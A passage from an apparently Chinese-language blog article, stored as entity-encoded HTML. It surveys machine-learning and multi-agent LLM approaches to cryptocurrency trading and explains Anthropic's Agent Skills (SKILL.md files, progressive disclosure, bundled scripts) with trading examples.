&#x673A;&#x5668;&#x5B66;&#x4E60;&#x4E0E;&#x7B97;&#x6CD5;&#x4EA4;&#x6613;</h3><p>&#x673A;&#x5668;&#x5B66;&#x4E60;&#x754C;&#x957F;&#x671F;&#x4EE5;&#x6765;&#x4E00;&#x76F4;&#x5728;&#x7814;&#x7A76;&#x6570;&#x636E;&#x9A71;&#x52A8;&#x7684;&#x4EA4;&#x6613;&#x3002;&#x5178;&#x578B;&#x7684;&#x65B9;&#x6CD5;&#x662F;&#x4F7F;&#x7528;&#x5386;&#x53F2;&#x4EF7;&#x683C;&#x6570;&#x636E;&#xFF08;&#x53EF;&#x80FD;&#x5305;&#x62EC;&#x5176;&#x4ED6;&#x8F93;&#x5165;&#xFF0C;&#x5982;&#x6210;&#x4EA4;&#x91CF;&#x3001;&#x8BA2;&#x5355;&#x7C3F;&#x6216;&#x65B0;&#x95FB;&#xFF09;&#x6765;&#x9884;&#x6D4B;&#x672A;&#x6765;&#x7684;&#x4EF7;&#x683C;&#x8D70;&#x52BF;&#x6216;&#x6700;&#x4F18;&#x7684;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x5206;&#x914D;&#x3002;&#x6700;&#x8FD1;&#x7684;&#x7814;&#x7A76;&#x8868;&#x660E;&#xFF0C;&#x73B0;&#x4EE3; ML &#x548C;&#x6DF1;&#x5EA6;&#x5B66;&#x4E60;&#x6280;&#x672F;&#x5728;&#x67D0;&#x4E9B;&#x60C5;&#x51B5;&#x4E0B;&#x53EF;&#x4EE5;&#x5B9E;&#x73B0;&#x6709;&#x5E0C;&#x671B;&#x7684;&#x7ED3;&#x679C;&#x3002;</p><p>&#x4F8B;&#x5982;&#xFF0C;Parente &#x7B49;&#x4EBA;&#xFF08;2024&#xFF09;&#x5F00;&#x53D1;&#x4E86;&#x4E00;&#x4E2A;&#x6DF1;&#x5EA6;&#x795E;&#x7ECF;&#x7F51;&#x7EDC;&#xFF0C;&#x4ECE;&#x8FC7;&#x53BB;&#x7684;&#x6570;&#x636E;&#x4E2D;&#x9884;&#x6D4B;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EF7;&#x683C;&#x65B9;&#x5411;&#xFF0C;&#x5B9E;&#x73B0;&#x4E86;&#x201C;&#x53EF;&#x9760;&#x4E14;&#x6709;&#x5229;&#x53EF;&#x56FE;&#x201D;&#x7684;&#x9884;&#x6D4B;<a href="https://www.sciencedirect.com/science/article/pii/S0957417423023084?ref=defiplot.com#:~:text=Algorithmic%20trading%20enables%20the%20execution,a%20bull%2C%20bear%20and%20flat">[6]</a>. &#x540C;&#x6837;&#xFF0C;Adedigba &#x7B49;&#x4EBA;&#xFF08;2025&#xFF09;&#x5BF9;30&#x79CD;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x8FDB;&#x884C;&#x4E86;&#x5404;&#x79CD;&#x6A21;&#x578B;&#x7684;&#x57FA;&#x51C6;&#x6D4B;&#x8BD5;&#xFF0C;&#x53D1;&#x73B0;<strong>&#x96C6;&#x6210;&#x6811;&#x65B9;&#x6CD5;</strong>&#xFF08;&#x68AF;&#x5EA6;&#x63D0;&#x5347;&#x3001;XGBoost&#xFF09;&#x83B7;&#x5F97;&#x4E86;&#x6700;&#x9AD8;&#x7684;R&#xB2;&#x5206;&#x6570;&#xFF08;&#x7EA6;0.98&#xFF09;&#xFF0C;&#x5E76; consistently &#x8D85;&#x8FC7;&#x4E86;&#x7B80;&#x5355;&#x7684;&#x56DE;&#x5F52;&#x5668;&#x548C;&#x795E;&#x7ECF;&#x7F51;&#x7EDC;<a href="https://link.springer.com/article/10.1007/s44163-025-00519-y?ref=defiplot.com#:~:text=R,driven%20cryptocurrency%20trading%20decisions">[7]</a>. &#x4ED6;&#x4EEC;&#x5F97;&#x51FA;&#x7ED3;&#x8BBA;&#xFF0C;&#x4E0E;&#x4ED6;&#x4EEC;&#x7684;&#x6D4B;&#x8BD5;&#x4E2D;&#x6DF1;&#x5EA6;&#x7F51;&#x7EDC;&#x76F8;&#x6BD4;&#xFF0C;&#x96C6;&#x6210;&#x6A21;&#x578B;&#x201C;&#x5728;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EF7;&#x683C;&#x9884;&#x6D4B;&#x65B9;&#x9762;&#x8868;&#x73B0;&#x66F4;&#x4F18;&#x201D;<a href="https://link.springer.com/article/10.1007/s44163-025-00519-y?ref=defiplot.com#:~:text=R,driven%20cryptocurrency%20trading%20decisions">[7]</a>. &#x5728;&#x53E6;&#x4E00;&#x9879;&#x7814;&#x7A76;&#x4E2D;&#xFF0C;Jabbar &#x548C; Jalil&#xFF08;2024&#xFF09;&#x6BD4;&#x8F83;&#x4E86;41&#x79CD;ML&#x6A21;&#x578B;&#x7528;&#x4E8E;&#x6BD4;&#x7279;&#x5E01;&#x4EA4;&#x6613;&#xFF1B;&#x4ED6;&#x4EEC;&#x53D1;&#x73B0;&#x67D0;&#x4E9B;&#x65B9;&#x6CD5;&#xFF08;&#x5982;&#x968F;&#x673A;&#x68EE;&#x6797;&#xFF09;&#x6BD4;&#x5176;&#x4ED6;&#x65B9;&#x6CD5;&#x83B7;&#x5F97;&#x66F4;&#x9AD8;&#x7684;&#x5229;&#x6DA6;&#x548C;&#x66F4;&#x597D;&#x7684;&#x98CE;&#x9669;&#x6982;&#x51B5;<a href="https://arxiv.org/html/2407.18334v1?ref=defiplot.com#:~:text=scenarios%2C%20ensuring%20the%20robustness%20and,guidance%20for%20traders%20and%20researchers">[19]</a>.</p><p>&#x9664;&#x4E86;&#x76D1;&#x7763;&#x5B66;&#x4E60;&#x4E4B;&#x5916;&#xFF0C;&#x5F3A;&#x5316;&#x5B66;&#x4E60;&#xFF08;RL&#xFF09;&#x5DF2;&#x88AB;&#x5E94;&#x7528;&#x4E8E;&#x4EA4;&#x6613;&#x3002;RL &#x4E0D;&#x662F;&#x9884;&#x6D4B;&#x4EF7;&#x683C;&#xFF0C;&#x800C;&#x662F;&#x8BAD;&#x7EC3;&#x4EE3;&#x7406;&#x91C7;&#x53D6;&#x4E70;&#x5165;/&#x5356;&#x51FA;/&#x6301;&#x6709;&#x52A8;&#x4F5C;&#x4EE5;&#x6700;&#x5927;&#x5316;&#x7D2F;&#x79EF;&#x56DE;&#x62A5;&#x3002;&#x8BB8;&#x591A;&#x8FD1;&#x671F;&#x8BBA;&#x6587;&#x5C06; RL &#x4E0E;&#x5E02;&#x573A;&#x6307;&#x6807;&#x6216;&#x57FA;&#x4E8E;&#x89C4;&#x5219;&#x7684;&#x98CE;&#x9669;&#x63A7;&#x5236;&#x76F8;&#x7ED3;&#x5408;&#x3002;Kochliaridis &#x7B49;&#x4EBA;&#xFF08;2024&#xFF09;&#x6307;&#x51FA;&#xFF0C;&#x7EAF;&#x6DF1;&#x5EA6; RL &#x4EE3;&#x7406;&#x901A;&#x5E38;&#x5728;&#x4E0D;&#x8003;&#x8651;&#x98CE;&#x9669;&#x7684;&#x60C5;&#x51B5;&#x4E0B;&#x6700;&#x5927;&#x5316;&#x5229;&#x6DA6;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=been%20successful%20in%20increasing%20profit,risk%20trading">[13]</a>. &#x4ED6;&#x4EEC;&#x548C;&#x5176;&#x4ED6;&#x4EBA;&#x56E0;&#x6B64;&#x5C06; RL &#x7B56;&#x7565;&#x4E0E;&#x5B89;&#x5168;&#x673A;&#x5236;&#xFF08;&#x4F8B;&#x5982;&#x5728;&#x6CE2;&#x52A8;&#x65F6;&#x671F;&#x907F;&#x514D;&#x4E0D;&#x786E;&#x5B9A;&#x7684;&#x201C;&#x6301;&#x6709;&#x201D;&#x4FE1;&#x53F7;&#xFF09;&#x7ED3;&#x5408;&#xFF0C;&#x4EE5;&#x5E73;&#x8861;&#x56DE;&#x62A5;&#x548C;&#x56DE;&#x64A4;<a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=been%20successful%20in%20increasing%20profit,risk%20trading">[13]</a><a href="https://link.springer.com/article/10.1007/s00521-023-08516-x?ref=defiplot.com#:~:text=which%20customizes%20the%20agent%E2%80%99s%20trading,portfolio%20performance%20measures%20as%20well">[20]</a>. &#x5176;&#x4ED6;&#x5DE5;&#x4F5C;&#x63D0;&#x51FA;&#x57FA;&#x4E8E; CVaR &#x7684;&#x5956;&#x52B1;&#x51FD;&#x6570;&#x6216;&#x53CC;&#x4EE3;&#x7406;&#x8BBE;&#x7F6E;&#xFF0C;&#x4EE5;&#x660E;&#x786E;&#x9650;&#x5236;&#x5927;&#x989D;&#x635F;&#x5931;&#x3002;&#x603B;&#x4F53;&#x800C;&#x8A00;&#xFF0C;&#x73B0;&#x4EE3; RL &#x786E;&#x5B9E;&#x53EF;&#x4EE5;&#x5B66;&#x4E60;&#x590D;&#x6742;&#x7684;&#x4EA4;&#x6613;&#x884C;&#x4E3A;&#xFF0C;&#x4F46;&#x8FD9;&#x4E9B;&#x7CFB;&#x7EDF;&#x5FC5;&#x987B;&#x4ED4;&#x7EC6;&#x7EA6;&#x675F;&#x4EE5;&#x907F;&#x514D;&#x8FC7;&#x62DF;&#x5408;&#x548C;&#x8FC7;&#x5EA6;&#x98CE;&#x9669;&#x3002;</p><h3 id="22-%E9%87%91%E8%9E%8D%E4%B8%AD%E7%9A%84-ai-%E4%BB%A3%E7%90%86%E5%92%8C%E5%A4%9A%E4%BB%A3%E7%90%86%E6%A1%86%E6%9E%B6">2.2 &#x91D1;&#x878D;&#x4E2D;&#x7684; AI &#x4EE3;&#x7406;&#x548C;&#x591A;&#x4EE3;&#x7406;&#x6846;&#x67B6;</h3><p>&#x4E00;&#x4E2A;&#x5173;&#x952E;&#x7684;&#x89C1;&#x89E3;&#x662F;&#xFF0C;<strong>&#x4E13;&#x4E1A;&#x5316;</strong>&#x53EF;&#x4EE5;&#x63D0;&#x9AD8;&#x81EA;&#x52A8;&#x5316;&#x4EA4;&#x6613;&#x3002;&#x5C31;&#x50CF;&#x5BF9;&#x51B2;&#x57FA;&#x91D1;&#x6709;&#x5206;&#x6790;&#x5E08;&#x56E2;&#x961F;&#xFF08;&#x57FA;&#x672C;&#x9762;&#x3001;&#x6280;&#x672F;&#x9762;&#x3001;&#x91CF;&#x5316;&#xFF09;&#x4E00;&#x6837;&#xFF0C;&#x6700;&#x8FD1;&#x7684;&#x7814;&#x7A76;&#x8868;&#x660E;&#xFF0C;&#x5C06;&#x4EFB;&#x52A1;&#x5206;&#x914D;&#x7ED9;&#x4E13;&#x95E8;&#x7684; AI &#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x63D0;&#x9AD8;&#x6027;&#x80FD;&#x3002;<em>TradingAgents</em> &#x6846;&#x67B6;&#xFF08;Xiao &#x7B49;&#x4EBA;&#xFF0C;2024&#xFF09;&#x5C31;&#x662F;&#x4E00;&#x4E2A;&#x4F8B;&#x5B50;&#x3002;&#x5B83;&#x90E8;&#x7F72;&#x4E86;&#x591A;&#x4E2A;&#x7531; LLM &#x9A71;&#x52A8;&#x7684;&#x4EE3;&#x7406;&#xFF0C;&#x6BCF;&#x4E2A;&#x4EE3;&#x7406;&#x90FD;&#x6709;&#x4E0D;&#x540C;&#x7684;&#x89D2;&#x8272;&#x2014;&#x2014;&#x4F8B;&#x5982;&#x201C;&#x57FA;&#x672C;&#x9762;&#x5206;&#x6790;&#x5E08;&#x201D;&#x3001;&#x201C;&#x6280;&#x672F;&#x5206;&#x6790;&#x5E08;&#x201D;&#x3001;&#x201C;&#x7814;&#x7A76;&#x5458;&#x201D;&#x548C;&#x201C;&#x4EA4;&#x6613;&#x5458;&#x201D;&#x2014;&#x2014;&#x6BCF;&#x4E2A;&#x4EE3;&#x7406;&#x90FD;&#x914D;&#x5907;&#x4E86;&#x5B9A;&#x5236;&#x7684;&#x5DE5;&#x5177;&#x548C;&#x7EA6;&#x675F;&#x6761;&#x4EF6;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a>. &#x8FD9;&#x4E9B;&#x4EE3;&#x7406;&#x5408;&#x4F5C;&#xFF1A;&#x4F8B;&#x5982;&#xFF0C;&#x5206;&#x6790;&#x5E08;&#x751F;&#x6210;&#x89C1;&#x89E3;&#xFF0C;&#x7136;&#x540E;&#x7531;&#x4E2D;&#x5FC3;&#x4EA4;&#x6613;&#x4EE3;&#x7406;&#x6267;&#x884C;&#x3002;&#x5728;&#x5B9E;&#x9A8C;&#x4E2D;&#xFF0C;TradingAgents &#x7684;&#x56DE;&#x62A5;&#x7387;&#x548C;&#x590F;&#x666E;&#x6BD4;&#x7387;&#x660E;&#x663E;&#x9AD8;&#x4E8E;&#x5355;&#x4EE3;&#x7406;&#x57FA;&#x7EBF;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=underexplored,Sharpe%20ratio%2C%20and%20maximum%20drawdown">[10]</a>.</p><p>&#x540C;&#x6837;&#xFF0C;Luo &#x7B49;&#x4EBA;&#xFF08;2025&#xFF09;&#x63D0;&#x51FA;&#x4E86;&#x4E00;&#x79CD;<strong>&#x591A;&#x6A21;&#x6001;&#x3001;&#x591A;&#x4EE3;&#x7406;&#x7CFB;&#x7EDF;</strong>&#x7528;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x7BA1;&#x7406;&#xFF0C;&#x5176;&#x4E2D;&#x4E0D;&#x540C;&#x7684; AI &#x4EE3;&#x7406;&#x5904;&#x7406;&#x524D; 30 &#x79CD;&#x4EE3;&#x5E01;&#x7684;&#x6570;&#x636E;&#x5904;&#x7406;&#x3001;&#x6587;&#x732E;&#x6574;&#x5408;&#x548C;&#x6295;&#x8D44;&#x51B3;&#x7B56;<a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=,within%20agent%20teams%20and%20facilitating">[21]</a>. &#x4ED6;&#x4EEC;&#x7684;&#x7ED3;&#x679C;&#x8868;&#x660E;&#xFF0C;&#x8FD9;&#x79CD;&#x534F;&#x4F5C;&#x6846;&#x67B6;&#x5728;&#x5206;&#x7C7B;&#x51C6;&#x786E;&#x6027;&#x548C;&#x6295;&#x8D44;&#x7EC4;&#x5408;&#x56DE;&#x62A5;&#x65B9;&#x9762;<strong>&#x4F18;&#x4E8E;&#x5355;&#x4EE3;&#x7406;&#x6A21;&#x578B;&#x548C;&#x5E02;&#x573A;&#x57FA;&#x51C6;</strong><a href="https://arxiv.org/abs/2501.00826?ref=defiplot.com#:~:text=final%20predictions%20based%20on%20confidence,pricing%2C%20portfolio%2C%20and%20explainability%20performance">[11]</a>. &#x8FD9;&#x4E9B;&#x7814;&#x7A76;&#x8868;&#x660E;&#xFF0C;&#x5C06;&#x4EA4;&#x6613;&#x8FC7;&#x7A0B;&#x5206;&#x89E3;&#x4E3A;&#x5B50;&#x4EFB;&#x52A1;&#x2014;&#x2014;&#x6BCF;&#x4E2A;&#x4EFB;&#x52A1;&#x7531;&#x4E13;&#x95E8;&#x7684;&#x4EE3;&#x7406;&#x5904;&#x7406;&#x2014;&#x2014;&#x4F1A;&#x5BFC;&#x81F4;&#x66F4;&#x7A33;&#x5065;&#x7684;&#x7B56;&#x7565;&#x3002;</p><p>&#x8FD9;&#x4E00;&#x8D8B;&#x52BF;&#x4E0E;&#x901A;&#x7528; AI &#x7684;&#x53D1;&#x5C55;&#x76F8;&#x4E00;&#x81F4;&#x3002;&#x6700;&#x8FD1;&#x7684;&#x201C;&#x751F;&#x6210;&#x4EE3;&#x7406;&#x201D;&#x6A21;&#x578B;&#xFF08;Park &#x7B49;&#x4EBA;&#xFF0C;2023&#xFF09;&#x5C55;&#x793A;&#x4E86;&#x5177;&#x6709;&#x5B9A;&#x4E49;&#x8BB0;&#x5FC6;&#x548C;&#x4E2A;&#x6027;&#x7279;&#x5F81;&#x7684; LLM &#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x81EA;&#x4E3B;&#x89C4;&#x5212;&#x590D;&#x6742;&#x7684;&#x884C;&#x4E3A;<a href="https://ar5iv.labs.arxiv.org/html/2412.20138?ref=defiplot.com#:~:text=match%20at%20L883%20,Li%2C%20J">[22]</a>. &#x5728;&#x91D1;&#x878D;&#x9886;&#x57DF;&#xFF0C;&#x7C7B;&#x4F3C;&#x7684;&#x591A;&#x4EE3;&#x7406;&#x8303;&#x5F0F;&#x6B63;&#x5728;&#x51FA;&#x73B0;&#xFF08;&#x4F8B;&#x5982;&#x201C;&#x4EE3;&#x7406;&#x4EA4;&#x6613;&#x201D;&#xFF0C;AI &#x7814;&#x7A76;&#x64AD;&#x5BA2;&#xFF09;&#x3002;&#x4EE3;&#x7406;&#x7CFB;&#x7EDF;&#x5141;&#x8BB8;&#x957F;&#x671F;&#x8BA1;&#x5212;&#x3001;&#x6301;&#x7EED;&#x4E0A;&#x4E0B;&#x6587;&#x548C;&#x5DE5;&#x5177;&#x4F7F;&#x7528;&#xFF0C;&#x514B;&#x670D;&#x4E86;&#x5355;&#x4E00; ChatGPT &#x7C7B;&#x6A21;&#x578B;&#x7684;&#x56FA;&#x5B9A;&#x4E0A;&#x4E0B;&#x6587;&#x7A97;&#x53E3;&#x3002;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x63D0;&#x4F9B;&#x4E86;&#x4E00;&#x79CD;&#x5B9E;&#x7528;&#x7684;&#x65B9;&#x6CD5;&#x6765;&#x5B9E;&#x73B0;&#x8FD9;&#x6837;&#x7684;&#x7CFB;&#x7EDF;&#xFF1A;&#x901A;&#x8FC7;&#x4E3A;&#x6BCF;&#x4E2A;&#x89D2;&#x8272;&#x5B9A;&#x4E49;&#x6280;&#x80FD;&#xFF08;&#x6307;&#x4EE4;&#x3001;&#x6570;&#x636E;&#x8BBF;&#x95EE;&#x3001;&#x4EE3;&#x7801;&#xFF09;&#xFF0C;&#x6211;&#x4EEC;&#x53EF;&#x4EE5;&#x5FEB;&#x901F;&#x5B9E;&#x4F8B;&#x5316;&#x4E13;&#x95E8;&#x7684;&#x4EA4;&#x6613;&#x4EE3;&#x7406;&#x800C;&#x65E0;&#x9700;&#x91CD;&#x65B0;&#x8BAD;&#x7EC3;&#x6574;&#x4E2A;&#x6A21;&#x578B;&#x3002;</p><h2 id="3%E3%80%81%E4%BB%A3%E7%90%86%E6%8A%80%E8%83%BD%EF%BC%9A%E5%AE%9A%E4%B9%89%E4%B8%8E%E7%89%B9%E6%80%A7">3&#x3001;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#xFF1A;&#x5B9A;&#x4E49;&#x4E0E;&#x7279;&#x6027;</h2><p>Anthropic &#x7684;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x672C;&#x8D28;&#x4E0A;&#x662F;<strong>&#x5373;&#x63D2;&#x5373;&#x7528;&#x7684;&#x6A21;&#x5757;</strong>&#xFF0C;&#x5B83;&#x4EEC;&#x6269;&#x5C55;&#x4E86; LLM &#x4EE3;&#x7406;&#x7684;&#x9886;&#x57DF;&#x77E5;&#x8BC6;&#x548C;&#x5DE5;&#x5177;&#x3002;&#x6BCF;&#x4E2A;&#x6280;&#x80FD;&#x90FD;&#x4F4D;&#x4E8E;&#x81EA;&#x5DF1;&#x7684;&#x76EE;&#x5F55;&#x4E2D;&#xFF0C;&#x5E76;&#x5305;&#x542B;&#x4E00;&#x4E2A; <a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> &#x6587;&#x4EF6;&#x548C;&#x4EFB;&#x4F55;&#x8865;&#x5145;&#x6587;&#x4EF6;&#xFF08;&#x811A;&#x672C;&#x3001;&#x6587;&#x6863;&#x3001;&#x793A;&#x4F8B;&#xFF09;&#x3002;<a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> &#x4EE5; YAML &#x5143;&#x6570;&#x636E;&#xFF08;&#x540D;&#x79F0;&#x3001;&#x63CF;&#x8FF0;&#xFF09;&#x5F00;&#x5934;&#xFF0C;&#x4EE3;&#x7406;&#x5728;&#x542F;&#x52A8;&#x65F6;&#x5C06;&#x5176;&#x52A0;&#x8F7D;&#x5230;&#x7CFB;&#x7EDF;&#x63D0;&#x793A;&#x4E2D;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Progressive%20disclosure%20is%20the%20core,load%20information%20only%20as%20needed">[8]</a>. &#x8FD9;&#x544A;&#x8BC9;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x662F;&#x4EC0;&#x4E48;&#xFF0C;&#x800C;&#x4E0D;&#x4F1A;&#x503E;&#x5012;&#x6240;&#x6709;&#x7EC6;&#x8282;&#x3002;&#x53EA;&#x6709;&#x5F53;&#x4EE3;&#x7406;&#x68C0;&#x6D4B;&#x5230;&#x76F8;&#x5173;&#x6027;&#x65F6;&#xFF0C;&#x5B83;&#x624D;&#x4F1A;&#x8BFB;&#x53D6;&#x5B8C;&#x6574;&#x7684;&#x6280;&#x80FD;&#x6587;&#x4EF6;&#x6216;&#x6253;&#x5F00;&#x94FE;&#x63A5;&#x8D44;&#x6E90;&#x3002;&#x8FD9;&#x79CD;<strong>&#x6E10;&#x8FDB;&#x62AB;&#x9732;</strong>&#x8BBE;&#x8BA1;&#x610F;&#x5473;&#x7740;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x62E5;&#x6709;&#x51E0;&#x4E4E;&#x65E0;&#x9650;&#x7684;&#x4E0A;&#x4E0B;&#x6587;&#xFF0C;&#x4EC5;&#x5728;&#x9700;&#x8981;&#x65F6;&#x62C9;&#x5165;&#x8BE6;&#x7EC6;&#x6307;&#x5BFC;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Progressive%20disclosure%20is%20the%20core,load%20information%20only%20as%20needed">[8]</a>.</p><p>&#x6838;&#x5FC3;&#x4F18;&#x52BF;&#x4E4B;&#x4E00;&#x662F;<strong>&#x6A21;&#x5757;&#x5316;</strong>&#x3002;&#x6280;&#x80FD;&#x4EE5;&#x6709;&#x7EC4;&#x7EC7;&#x3001;&#x7248;&#x672C;&#x63A7;&#x5236;&#x7684;&#x5F62;&#x5F0F;&#x6253;&#x5305;&#x4EBA;&#x7C7B;&#x4E13;&#x4E1A;&#x77E5;&#x8BC6;&#x2014;&#x2014;&#x5C31;&#x50CF;&#x65B0;&#x5458;&#x5DE5;&#x7684;&#x57F9;&#x8BAD;&#x624B;&#x518C;&#x4E00;&#x6837;&#x3002;&#x5BF9;&#x4E8E;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#xFF0C;&#x53EF;&#x4EE5;&#x6784;&#x5EFA;&#x4E00;&#x4E2A;&#x201C;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x6280;&#x672F;&#x5206;&#x6790;&#x201D;&#x6280;&#x80FD;&#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x62EC;&#x4E00;&#x4E2A; <a href="http://skill.md/?ref=defiplot.com">SKILL.md</a>&#xFF0C;&#x5176;&#x4E2D;&#x5305;&#x542B;&#x4E00;&#x822C;&#x89C4;&#x5219;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x201C;&#x4EE3;&#x7406;&#x5E94;&#x8BA1;&#x7B97;&#x79FB;&#x52A8;&#x5E73;&#x5747;&#x7EBF;&#x3001;RSI&#x3001;MACD &#x5E76;&#x89E3;&#x91CA;&#x4EA4;&#x53C9;&#x201D;&#xFF09;&#xFF0C;&#x4EE5;&#x53CA;&#x94FE;&#x63A5;&#x5230;&#x4EE3;&#x7801;&#x6587;&#x4EF6;&#xFF08;Python &#x811A;&#x672C;&#xFF09;&#x4EE5;&#x5728;&#x5B9E;&#x65F6;&#x6570;&#x636E;&#x4E0A;&#x8BA1;&#x7B97;&#x6307;&#x6807;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x53E6;&#x4E00;&#x4E2A;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x662F;&#x201C;&#x98CE;&#x9669;&#x7BA1;&#x7406;&#x201D;&#xFF0C;&#x5305;&#x542B;&#x6307;&#x5357;&#x548C;&#x811A;&#x672C;&#x4EE5;&#x5F3A;&#x5236;&#x6267;&#x884C;&#x4ED3;&#x4F4D;&#x5927;&#x5C0F;&#x3001;&#x6B62;&#x635F;&#x89C4;&#x5219;&#x548C;&#x56DE;&#x64A4;&#x68C0;&#x67E5;&#x3002;&#x4EE3;&#x7406;&#x52A8;&#x6001;&#x52A0;&#x8F7D;&#x5E76;&#x4F7F;&#x7528;&#x4E0E;&#x7528;&#x6237;&#x8BF7;&#x6C42;&#x76F8;&#x5173;&#x7684;&#x4EFB;&#x4F55;&#x6280;&#x80FD;&#x3002;</p><p>&#x6280;&#x80FD;&#x8FD8;&#x53EF;&#x4EE5;&#x5305;&#x542B;&#x53EF;&#x6267;&#x884C;&#x5DE5;&#x5177;&#x3002;&#x4F8B;&#x5982;&#xFF0C;Anthropic &#x6587;&#x6863;&#x4E2D;&#x7684; PDF &#x586B;&#x5199;&#x6280;&#x80FD;&#x6346;&#x7ED1;&#x4E86;&#x4E00;&#x4E2A; Python &#x811A;&#x672C;&#x4EE5;&#x63D0;&#x53D6;&#x8868;&#x5355;&#x5B57;&#x6BB5;&#xFF0C;Claude &#x53EF;&#x4EE5;&#x8FD0;&#x884C;&#x8BE5;&#x811A;&#x672C;&#x800C;&#x65E0;&#x9700;&#x5C06;&#x5176;&#x8BFB;&#x5165;&#x5176; token &#x9884;&#x7B97;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>. &#x540C;&#x6837;&#xFF0C;&#x4E00;&#x4E2A;&#x52A0;&#x5BC6;&#x8D27;&#x5E01;&#x4EA4;&#x6613;&#x6280;&#x80FD;&#x53EF;&#x4EE5;&#x5305;&#x62EC;&#x4E00;&#x4E2A;&#x56DE;&#x6D4B;&#x5DE5;&#x5177;&#x6216;&#x4E00;&#x4E2A; REST API &#x5BA2;&#x6237;&#x7AEF;&#x3002;&#x5728;&#x89E3;&#x51B3;&#x4EFB;&#x52A1;&#x65F6;&#xFF0C;&#x4EE3;&#x7406;&#x53EF;&#x4EE5;&#x8C03;&#x7528;&#x8FD9;&#x4E9B;&#x5DE5;&#x5177;&#x8FDB;&#x884C;&#x7CBE;&#x786E;&#x8BA1;&#x7B97;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x8BA1;&#x7B97;&#x56DE;&#x6D4B;&#x6536;&#x76CA;&#xFF09;&#xFF0C;&#x7136;&#x540E;&#x5728;&#x8BED;&#x8A00;&#x4E2D;&#x63A8;&#x7406;&#x7ED3;&#x679C;&#x3002;&#x8FD9;&#x79CD;&#x4EE3;&#x7801;&#x7684;&#x6574;&#x5408;&#x7F13;&#x89E3;&#x4E86;&#x901A;&#x8FC7; token &#x751F;&#x6210;&#x4E00;&#x5207;&#x7684;&#x4F4E;&#x6548;&#x548C;&#x4E0D;&#x53EF;&#x9760;&#x6027;&#x3002;&#x5B83;&#x8FD8;&#x786E;&#x4FDD;&#x4E86;&#x5173;&#x952E;&#x6B65;&#x9AA4;&#xFF08;&#x5982;&#x6570;&#x503C;&#x8BA1;&#x7B97;&#x6216;&#x6570;&#x636E;&#x68C0;&#x7D22;&#xFF09;&#x7684;&#x786E;&#x5B9A;&#x6027;&#x64CD;&#x4F5C;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Skills%20and%20code%20execution">[9]</a>.</p><p>&#x603B;&#x4E4B;&#xFF0C;&#x4EE3;&#x7406;&#x6280;&#x80FD;&#x63D0;&#x4F9B;&#x4E86;&#xFF1A;&#x2014; <strong>&#x4E13;&#x4E1A;&#x77E5;</strong>&#x8BC6;&#xFF1A;&#x6BCF;&#x4E2A;&#x6280;&#x80FD;&#x7F16;&#x7801;&#x4E86;&#x7279;&#x5B9A;&#x9886;&#x57DF;&#x7684;&#x4E13;&#x5BB6;&#x89C1;&#x89E3;&#xFF08;&#x4F8B;&#x5982;&#xFF0C;&#x4EA4;&#x6613;&#x7B56;&#x7565;&#x3001;&#x6307;&#x6807;&#x89E3;&#x91CA;&#xFF09;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=This%20led%20us%20to%20create,agents%20that%20fit%20your%20needs">[5]</a>. &#x2014; <strong>&#x52A8;&#x6001;&#x52A0;&#x8F7D;</strong>&#xFF1A;&#x4EE3;&#x7406;&#x4F7F;&#x7528;&#x5143;&#x6570;&#x636E;&#x51B3;&#x5B9A;<em>&#x662F;&#x5426;</em>&#x548C;<em>&#x4F55;&#x65F6;</em>&#x52A0;&#x8F7D;&#x6280;&#x80FD;&#x7684;&#x5185;&#x5BB9;<a href="https://www.anthropic.com/engineering/equipping-agents-for-the-real-world-with-agent-skills?ref=defiplot.com#:~:text=Progressive%20disclosure%20is%20the%20core,load%20information%20only%20as%20needed">[8]</a>. &#x2014; <strong>&#x6E10;&#x8FDB;&#x7EC6;&#x8282;</strong>&#xFF1A;&#x6838;&#x5FC3;&#x6307;&#x4EE4;&#x5728; <a href="http://skill.md/?ref=defiplot.com">SKILL.md</a> 